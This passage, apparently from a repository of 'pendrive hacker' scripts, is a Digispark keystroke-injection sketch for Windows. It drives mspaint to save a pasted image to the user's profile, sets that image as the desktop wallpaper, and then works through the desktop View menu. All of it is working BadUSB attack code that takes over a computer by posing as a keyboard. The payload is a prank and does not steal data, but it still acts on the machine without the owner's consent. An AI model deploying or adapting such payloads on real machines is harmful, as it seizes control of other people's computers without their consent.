14 | DigiKeyboard.print("mspaint");
15 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
16 | DigiKeyboard.delay(800);
17 | DigiKeyboard.sendKeyStroke(KEY_V, MOD_CONTROL_LEFT);
18 | DigiKeyboard.delay(500);
19 | DigiKeyboard.sendKeyStroke(KEY_S, MOD_CONTROL_LEFT);
20 | DigiKeyboard.delay(600);
21 | DigiKeyboard.print("%USERPROFILE%\\wall.jpg");
22 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
23 | DigiKeyboard.delay(600);
24 | DigiKeyboard.sendKeyStroke(KEY_F, MOD_ALT_LEFT);
25 | DigiKeyboard.delay(500);
26 | DigiKeyboard.sendKeyStroke(KEY_K);
27 | DigiKeyboard.delay(500);
28 | DigiKeyboard.sendKeyStroke(KEY_F);
29 | DigiKeyboard.delay(500);
30 | DigiKeyboard.sendKeyStroke(KEY_F, MOD_ALT_LEFT);
31 | DigiKeyboard.delay(500);
32 | DigiKeyboard.sendKeyStroke(KEY_X);
33 | DigiKeyboard.delay(600);
34 | DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
35 | DigiKeyboard.delay(500);
36 | DigiKeyboard.sendKeyStroke(KEY_F10, MOD_SHIFT_LEFT);
37 | DigiKeyboard.delay(500);
38 | DigiKeyboard.sendKeyStroke(KEY_V);
39 | DigiKeyboard.delay(200);
40 | DigiKeyboard.sendKeyStroke(81);
41 | DigiKeyboard.delay(200);
42 | DigiKeyboard.sendKeyStroke(81);
43 | DigiKeyboard.delay(200);
44 | DigiKeyboard.sendKeyStroke(81);
45 | DigiKeyboard.delay(200);
46 | DigiKeyboard.sendKeyStroke(81);
47 | DigiKeyboard.delay(200);
48 | DigiKeyboard.sendKeyStroke(81);
49 | DigiKeyboard.sendKeyStroke(KEY_ENTER);
50 |
51 | for(;;){ /*empty*/ }
52 | }
53 |
--------------------------------------------------------------------------------
/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Al0nnso/PendriveHacker-Scripts/b335a067ce14c5141216b99c85e8f0f407e85629/logo.png
--------------------------------------------------------------------------------